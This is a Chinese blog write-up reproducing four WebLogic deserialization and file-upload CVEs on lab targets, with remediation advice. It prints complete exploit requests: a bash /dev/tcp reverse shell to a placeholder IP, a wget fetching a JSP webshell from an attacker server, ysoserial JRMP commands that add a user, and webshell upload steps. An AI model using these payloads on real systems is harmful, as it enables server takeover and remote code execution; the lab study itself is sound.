WebLogic历史漏洞汇总与复现

前言:WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。默认端口:7001

目录

一、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

1.漏洞介绍

2.漏洞复现

3.修复建议:

二、Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)

1.漏洞概述

2.漏洞复现

3.修复建议

三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

1.漏洞概述

2.漏洞复现

3.修复建议

四、Weblogic 任意文件上传漏洞(CVE-2018-2894)

1.漏洞概述

2.漏洞复现


一、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

1.漏洞介绍

1.1影响版本

10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

1.2漏洞原理

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
1.3漏洞利用

访问 /wls-wsat/CoordinatorPortType,返回如下页面,则可能存在此漏洞。

 注意:漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。 只要是在wls-wsat包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri路径

默认受到影响的Uri如下:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

2.漏洞复现

使用vulhub的靶场

 访问 /wls-wsat/CoordinatorPortType,返回漏洞利用条件页面,说明可能存在漏洞了

构造post请求包写入文件:

POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 目标ip:port
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 522

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

访问/bea_wls_internal/test.jsp已成功写入

   

使用nc监听端口,构造POST包进行反弹shell(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)

POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 网站的ip:port
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 639

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp;/dev/tcp/要反弹shell的ip/端口 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 开启nc监听

nc -lvvp 要监听的端口

 发送POST请求

 成功反弹shell

CVE-2017-3506与CVE-2017-10271的利用方法一样,只是3506加了验证函数补丁,补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 验证Payload中的节点是否存在object 。

private void validate(InputStream is){
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser =factory.newSAXParser();
parser.parse(is, newDefaultHandler() {
public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch(ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXExceptionvar6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOExceptionvar7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过,我们将object换成void就可绕过此补丁,产生了CVE-2017-10271 

比如写入文件

3.修复建议:

1.安装补丁
2.或删除wls-wsat组件

二、Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)

1.漏洞概述

1.1影响版本

影响版本:
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
影响组件:
bea_wls9_async_response.war
wsat.war 

1.2漏洞原理

由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

1.访问 /_async/AsyncResponseService返回如下页面,即可能存在该漏洞

2.访问/_async/如果返回403,也可能存在漏洞

  

漏洞不仅存在于 /_async/AsyncResponseService 只要是在bea_wls9_async_response包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri 

默认受影响的uri
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps

wls-wsat.war组件受影响的URI见XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

此漏洞实际上是CVE-2017-10271的又一入口,那么它是怎么绕过CVE-2017-10271的补丁,执行REC的呢。 我们先来看一下CVE-2017-10271的补丁代码:

public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength();++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))){
throw new IllegalStateException("Invalid attribute for elementvoid:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 =attributes.getValue("class");
if(var9 != null &&!var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is notvalid for array element.");
}

其中CVE-2017-3506的补丁是过滤了object,CVE-2017-10271的补丁是过滤了new,method标签,且void后面只能跟index,array后面可以跟class,但是必须要是byte类型的。

绕过CVE-2017-10271补丁是因为class标签未被过滤所导致的,这点我们可以从CVE-2019-2725的补丁看出来, CVE-2019-2725补丁新增部分内容,将class加入了黑名单,限制了array标签中的byte长度 

else if (qName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element qName:class");
}
else {
if (qName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {

2.漏洞复现

使用vulfocus的在线靶场

 访问 /_async/AsyncResponseService返回漏洞利用页面,即可能存在该漏洞

 先把后门文件放到服务器,等下让目标下载该后门文件

构造post请求包

注意:有两种写入shell方法,本次使用第二种

第一种是放置在bea_wls9_async_response/8tpkys/war路径下,若在此路径放置,则使用链接http://172.17.16.77:7001/_async/shell.jsp访问webshell
第一种是放置在bea_wls_internal/9j4dqk/war路径下,若在此路径放置,则使用链接http://172.17.16.77:7001/bea_wls_internal/shell.jsp访问webshell

POST /_async/AsyncResponseService HTTP/1.1
Host: 目标ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 851
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://shell所在的服务器ip/shell.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

 

 访问shell地址:/bea_wls_internal/shell.jsp?pwd=023&i=whoami

3.修复建议

1. 及时打上官方CVE-2019-2725补丁包。官方已于4月26日公布紧急补丁包

2.升级本地JDK版本

因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。

3.配置URL访问控制策略

部署于公网的WebLogic服务器,可通过ACL禁止对/_async/及/wls-wsat/路径的访问。

4.删除不安全文件

删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。具体文件路径如下

三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

1.漏洞概述

1.1影响版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

1.2漏洞原理

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 

攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

2.漏洞复现

使用vulfocus在vulhub本地靶场

使用exploit的python利用脚本

使用ysoserial构造反序列化

1.使用ysoserial.jar,启动JRMP Server(ports是要监听的端口,command是要执行的命令)

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener port CommonsCollections1 command

如:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add'

2.执行exploit.py

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

如:

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

 结果如下:

3.修复建议

1.过滤t3协议。

在域结构中点击 安全->筛选器 连接筛选器填: weblogic.security.net.ConnectionFilterImpl 保存后重启Weblogic.

2.安装补丁。

四、Weblogic 任意文件上传漏洞(CVE-2018-2894)

1.漏洞概述

1.1影响版本

10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

1.2漏洞原理

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,攻击者可通过访问此配置页面,用有效的WebLogic Web路径替换存储JKS Keystores的文件目录,然后上传恶意的JSP脚本木马文件。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do;Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制

2.漏洞复现

使用vulfocus在线靶场

访问 ws_utc/config.do,设置Work Home Dir为ws_utc应用的静态文件css目录(访问这个目录是无需权限的)

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

  

然后点击 ‘安全’ -> ‘添加’ ,然后上传jsp木马

点击提交并抓包,获取响应数据包中的时间戳

然后访问 http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell 

3.修复建议

启动生产模式, 编辑domain路径下的setDomainEnv.cmd文件,将set PRODUCTION_MODE= 更改为 set PRODUCTION_MODE=true 目前(2019/06/07) 生产模式下 已取消这两处上传文件的地方。

  • 15
    点赞
  • 46
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

码啊码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值